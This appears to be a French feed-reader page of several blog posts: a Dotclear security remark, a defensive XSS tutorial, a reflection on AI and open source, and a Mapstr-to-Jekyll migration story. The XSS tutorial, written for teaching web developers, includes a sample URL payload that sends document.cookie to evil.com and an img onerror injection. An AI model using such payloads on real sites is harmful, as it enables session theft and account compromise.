❌

Vue lecture

XSS en veux-tu en voilà

Le cadenas rose

À peine était publiée la version 2.40 de Dotclear que je recevais un mail sur security@dotclear.org pour m’indiquer d’une faille de sécurité potentielle1, faille dont on connait l’existence vu qu’elle nous a déjà été signalée deux ou trois fois auparavant ces derniers jours !

C’est la course à qui aura le plus de codes CVE j’ai l’impression. Et bien sûr à chaque fois dans quasi les mêmes termes, comme si de par hasard, c’était la même IA qui avait découvert et documenté la faille :-)

Bref, rien de bien méchant et on verra ce qu’on peut faire, si on peut le faire de façon raisonnable !


  1. Plutôt légère puisqu’elle impose d’être authentifiée pour la mettre en œuvre. ↩︎

  •  

Les failles XSS

Il existe dans le monde du web une catégorie de personnes dont le passe-temps favori consiste à injecter du code dans les sites des autres. Pas pour le sport (enfin, pas seulement), mais parce que ça marche encore, souvent, et c'est là le problème.

Le Cross-Site Scripting, ou XSS, est une vulnérabilité vieille comme Netscape, régulièrement dans le top 10 de l'OWASP Open Worldwide Application Security Project, et pourtant toujours présente dans une quantité non négligeable de projets en production.

C'est quoi exactement, XSS ?

Une attaque XSS se produit lorsqu'un attaquant réussit à injecter du code JavaScript malveillant dans une page web, et que ce code est ensuite exécuté dans le navigateur d'un autre utilisateur.

Vu d'un autre angle : quelqu'un écrit et arrive à faire exécuter du code sur votre site, et vos utilisateurs le subissent.

Ce code peut faire à peu près tout ce que JavaScript permet : voler des cookies de session, rediriger vers un faux site, afficher un faux formulaire de connexion, enregistrer les frappes clavier, ou simplement afficher un message gênant. Les conséquences vont du simple embarras à la compromission totale d'un compte puisqu'on peut s'en servir pour récupérer des mots de passe.

Les trois axes d'attaque XSS

1. XSS réfléchi (Reflected XSS)

La charge malveillante est contenue dans la requête elle-même (souvent dans l'URL) et renvoyée directement dans la réponse HTML. L'attaquant doit convaincre une victime de cliquer sur un lien spécialement forgé.

https://example.com/search?q=<script>document.location='https://evil.com/steal?c='+document.cookie</script>

Si le serveur réaffiche sans la vérifier la valeur de q dans la page sans l'encoder, bingo. Ce type d'attaque est souvent véhiculé par email ou message instantané. Ce n'est pas très évolué ni extrêmement courant de nos jours, mais quand ça passe, c'est simple et efficace.

2. XSS stocké (Stored XSS)

Là, ça devient plus sérieux : le code malveillant est enregistré dans la base de données (commentaire, pseudo, bio, champ de formulaire…) et servi à tous les visiteurs de la page concernée.

Imaginez un forum où l'attaquant poste un commentaire contenant un script. Chaque personne qui charge la page exécute ce script, sans le savoir.

3. XSS basé sur le DOM (DOM-based XSS)

Ici, le serveur n'est pas en cause, le problème est entièrement côté client/navigateur. Le script malveillant est exécuté parce que du JavaScript légitime de la page lit et utilise des données non fiables (des API sensibles telles qu'URL, localStorage, postMessage…) sans les vérifier.

// Code vulnérable côté client
const name = new URLSearchParams(location.search).get('name');
document.getElementById('greeting').innerHTML = 'Bonjour ' + name;

Un attaquant passe ?name=<img src=x onerror=alert(1)> dans l'URL et boum.

Pourquoi ça marche encore de nos jours ?

Parce que la confiance est le problème fondamental. On fait confiance aux données qui viennent de l'utilisateur, de la base de données, d'une API tierce, sans vérifier. Et un navigateur, lui, fait confiance à tout ce qu'une page lui envoie. C'est fortement lié à la question de la rétro-compatibilité, pour permettre à tous les sites de fonctionner y compris ceux du "passé" qui n'étaient pas équipés de pratiques de sécurité bloquant par défaut les actions sensibles.

Toute donnée externe est potentiellement risquée. Paramètres d'URL, champs de formulaire, en-têtes HTTP, données de l'utilisateur stockées, etc.

Comment s'en protéger ?

Échapper les sorties

Le principe numéro un, quel que soit le contexte : encoder les données avant de les afficher. On ne parle même pas de les valider à l'entrée ici (même si c'est utile), mais de les rendre inoffensives au moment où elles atterrissent dans la page.

En PHP

htmlspecialchars() est fait pour ça :

// ❌ Dangereux
echo $_GET['name'];

// ✅ Mieux
echo htmlspecialchars($_GET['name'], ENT_QUOTES | ENT_HTML5, 'UTF-8');

htmlspecialchars() convertit les caractères spéciaux HTML (<, >, ", ', &) en entités HTML. Le texte <script>alert(1)</script> devient &lt;script&gt;alert(1)&lt;/script&gt; affiché comme du... texte, pas exécuté comme du code.

  • Toujours préciser ENT_QUOTES pour encoder aussi les guillemets simples
  • Toujours préciser l'encodage UTF-8 explicitement
  • Cette fonction est faite pour le contexte HTML. Dans un attribut JavaScript ou une URL, les règles sont différentes (voir plus bas)

Dans un attribut HTML :

<input value="<?= htmlspecialchars($userInput, ENT_QUOTES, 'UTF-8') ?>">

Dans une URL :

<a href="/profile?user=<?= urlencode($username) ?>">Profil</a>

N'utilisez pas htmlspecialchars() pour des valeurs qui vont dans des URLs : urlencode() est fait pour ça.

Pour PHP + JavaScript (à éviter si possible) : injecter des données PHP dans du JavaScript inline, c'est possible mais périlleux. Si c'est vraiment nécessaire :

<script>
  const userId = <?= json_encode($userId, JSON_HEX_TAG | JSON_HEX_AMP | JSON_HEX_APOS | JSON_HEX_QUOT) ?>;
</script>

json_encode() avec ces flags encode les caractères dangereux, mais préférez passer les données via un attribut data-* dans une balise HTML, ou une API JSON.

En JavaScript (vanilla)

textContent plutôt que innerHTML, c'est la règle la plus simple et la plus efficace :

// ❌ Dangereux — interprète le HTML
element.innerHTML = userInput;

// ✅ Sûr — traite tout comme du texte brut
element.textContent = userInput;

textContent n'interprète pas le HTML.

Si vous devez construire du HTML dynamique, construisez des éléments DOM plutôt que des chaînes directement injectées :

// ❌ À éviter
container.innerHTML = `<p>Bonjour ${userName}</p>`;

// ✅ Mieux
const p = document.createElement('p');
p.textContent = `Bonjour ${userName}`;
container.appendChild(p);

Méfiez-vous des sources de données non fiables.

// ❌ Vulnérable au DOM XSS
const search = new URLSearchParams(location.search).get('q');
results.innerHTML = `Résultats pour : <strong>${search}</strong>`;

// ✅ Correct
const search = new URLSearchParams(location.search).get('q');
const label = document.createElement('p');
label.textContent = `Résultats pour : `;
const strong = document.createElement('strong');
strong.textContent = search;
label.appendChild(strong);
results.appendChild(label);

La Content Security Policy (CSP)

Même avec un code impeccable, une erreur peut passer. Content Security Policy est une couche de protection supplémentaire : elle indique au navigateur quels scripts il est autorisé à exécuter.

Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.trusted.com

Avec cette directive, le navigateur refusera d'exécuter tout script qui ne vient pas de votre domaine ou de votre CDN autorisé — y compris un éventuel script injecté via XSS.

La CSP se configure dans les en-têtes HTTP (côté serveur) ou via une balise <meta> :

<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'self'">

Attention : une CSP bien configurée prend un peu de temps à mettre en place (notamment pour les scripts inline et les ressources tierces), mais c'est un excellent filet de sécurité.

Les attributs HttpOnly et Secure sur les cookies

Une bonne part des attaques XSS ciblent les cookies de session pour les voler via document.cookie. Le flag HttpOnly rend les cookies inaccessibles à JavaScript :

Set-Cookie: session=abc123; HttpOnly; Secure; SameSite=Strict
  • HttpOnly : le cookie n'est pas accessible via JavaScript
  • Secure : le cookie n'est transmis que sur HTTPS
  • SameSite=Strict : le cookie n'est pas envoyé dans les requêtes cross-site (protection CSRF en bonus)

Ce n'est pas une protection contre le XSS lui-même, mais ça limite considérablement l'impact d'une exploitation réussie.

Récapitulatif

Contexte Risque Solution
PHP vers HTML Injection de balises htmlspecialchars() avec ENT_QUOTES
PHP vers URL Injection dans href/src urlencode()
PHP vers JavaScript Injection dans scripts inline json_encode() avec flags
JS vanilla vers DOM innerHTML avec données externes textContent
Tous Script injecté exécuté CSP + cookies HttpOnly

Pour aller plus loin

Publié par Alsacreations.com

  •  

Changement de paradigme

Une scène de salon confortable avec un ordinateur portable au premier plan, obscurcissant partiellement la vue. En arrière-plan, on peut voir un fauteuil confortable et une petite table avec des magazines et des objets. Un pied repose sur le bord d’un canapé.

Il y a une réflexion qui m’est venue pendant que j’écoutais la conférence de Sophie sur l’usage de l’IA pour compenser avec son handicap, où elle a expliqué avoir utilisé celle-ci pour créer en quelques heures une application dont elle avait besoin.

Je me demande en effet, si l’apport des contributrices et contributeurs qu’on avait auparavant dans le développement open-source ne va pas se tarir vu qu’il est maintenant tellement facile — j’exagère mais peut-être pas tant que ça finalement — de demander à un LLM de construire et développer à sa place, plutôt que de contribuer à un développement en commun. D’ailleurs un projet que je suis depuis pas mal de temps et qui liste les applications Mac open-source a vu son activité croitre de façon exponentielle depuis l’usage de l’IA.

Avec Dotclear on expérimente depuis des années les conséquences d’un faible nombre de personnes dans la team, en particulier côté développement, et on constate l’écart grandissant dans le développement des fonctionnalités avec des logiciels similaires — dans leur emploi — gérés avec des équipes bien plus conséquentes ; Wordpress en est un bon exemple1.

Plus globalement je me pose des questions sur l’avenir de l’open-source dans ces conditions, où quelques lignes en language courant suffisent maintenant pour obtenir un outil prêt à servir. Quid de la maintenance sur un plan technique ? Quid des échanges humains autour d’un projet ?

J’avais déjà dans le passé écrit au sujet de la solitude du développeur open-source ; l’IA n’a certainement pas amélioré le constat que je faisais à l’époque.

Ça veut dire aussi savoir faire l’impasse sur les domaines de compétence qu’on ne maitrise pas. Par exemple je ne suis pas designer, ni intégrateur, encore moins expert UI voire UX, même si j’essaie de faire de mon mieux. Idem pour l’accessibilité, idem pour les traductions — je bavasse l’engliche, quant au reste…

Ça sent l’impasse et je suis curieux de voir comment ça bougera quand la bulle autour de l’IA éclatera2…


  1. Leur grand nombre [de contributions] doit probablement poser des problèmes de nature différente, mais ça reste représentatif. ↩︎

  2. Qui reste non soutenable sur la durée. ↩︎

  •  

Migration de Mapstr à un site statique Jekyll

Cet article aborde étape par étape ma migration de Mapstr vers un site utilisant Jekyll1 pour sauvegarder mes lieux en tout genre.

Tout à commencer lorsque Mapstr est passé à l’abonnement payant pour continuer à pouvoir ajouter des lieux (écran à gauche sur l’image). À l’époque j’avais plus de 300 adresses sauvegardées, j’avais donc atteint le quota. Je comprends parfaitement qu’un service soit payant néanmoins, mon usage de cette application était tellement limité que je ne me voyais pas payer. De plus, la dimension sociale de ce service n’était pas un besoin de mon côté.

Quelques jours plus tard, Mapstr ajoute un vilain dark pattern à chaque ouverture de l’application avec l’affichage de 2 modales (écran du milieu et de droite sur l’image) incitant à souscrire à l’abonnement…

Screenshot des écrans Mapstr. Écran 1 : Impossibilité de créer de nouvelle adresse Écran 2 : Présentation de Mapstr Plus Écran 3 : Suite à mon refus, proposition de -50 %.

L’idée était donc née, je devais trouver une alternative. J’ai d’abord regardé du côté d’Apple Plans mais celui-ci ne permet pas d’importer des données. À ce moment, je me suis dit qu’il serait idéal de trouver une solution auto-hébergeable mais à chaque fois les mises à jour sont pour moi complexes à gérer. Et finalement, j’ai demandé à une IA (Claude) de me générer un site pour sauvegarder des lieux. Après quelques itérations sur le prompt, j’ai pu obtenir un site viable et satisfaisant pour mon usage.

Exporter mes données Mapstr

C’était l’étape la plus simple puisque Mapstr propose une fonctionnalité d’export qui génère un CSV (qui n’inclut pas les coordonnées GPS) et un GeoJSON des lieux enregistrés.

Conversion du GeoJSON en fichiers Markdown

Utilisant déjà Jekyll pour deux projets (Notes fromagères et Bloc-notes), je me suis tourné vers ce générateur de site statique (développé par Tom Preston-Werner, le fondateur de GitHub).

Pour réaliser toutes les conversions qui vont suivre, j’ai utilisé ChatGPT. Afin de conserver les lieux déjà enregistrés, j’ai dû convertir le contenu du GeoJSON en autant de fichiers Markdown qu’il y avait de lieux sauvegardés. J’ai donc, dans un premier temps, reconverti le GeoJSON en CSV pour obtenir la latitude et longitude des adresses. Une fois ce fichier obtenu, j’ai demandé à l’IA de créé un fichier Markdown pour chaque lieu.

J’ai dû faire une repasse sur les fichiers car les tags et différentes données dans le Front Matter n’étaient pas propres. Ça m’a pris un peu de temps mais je voulais partir sur de bonnes bases.

Coup de pinceau

La dernière étape de conception fût d’intégrer mon style CSS au projet pour conserver ma charte graphique et corriger quelques bugs graphiques.

J’ai également demandé à l’IA de changer le thème d’OpenStreetMap et le design des pins mais aussi pour rendre dynamique l’ouverture des adresses dans des applications (Apple Plans ou Google Maps) sur mobile.

Publication du site

Jekyll requiert un build pour chaque ajout de lieu, c’est ce qui le distingue des CMS classiques. Comme pour mon projet de notes, à chaque nouveau commit, Vercel génère et publie le site. J’ai juste créé une redirection DNS pour le publier sous mon nom de domaine.

Conclusion

Je me questionne toujours sur l’utilisation d’une IA mais il faut reconnaitre que cela m’a permis de produire un site web que je ne savais pas faire en un temps record. C’est tout de même un outil très pratique dans ce cas.

J’ai également créé un raccourci iOS pour faciliter la création d’un lieu lorsque je n’ai pas mon ordinateur avec moi.

Des améliorations restent à faire sur ce projet. Par exemple, il faudrait pouvoir sélectionner plusieurs catégories.

Le lien du projet → lieux.timotheejulien.fr


Ressources

Le projet étant open-source, vous pouvez trouver le code sur GitHub.

The post Migration de Mapstr à un site statique Jekyll appeared first on Timothée JULIEN.

  •  
❌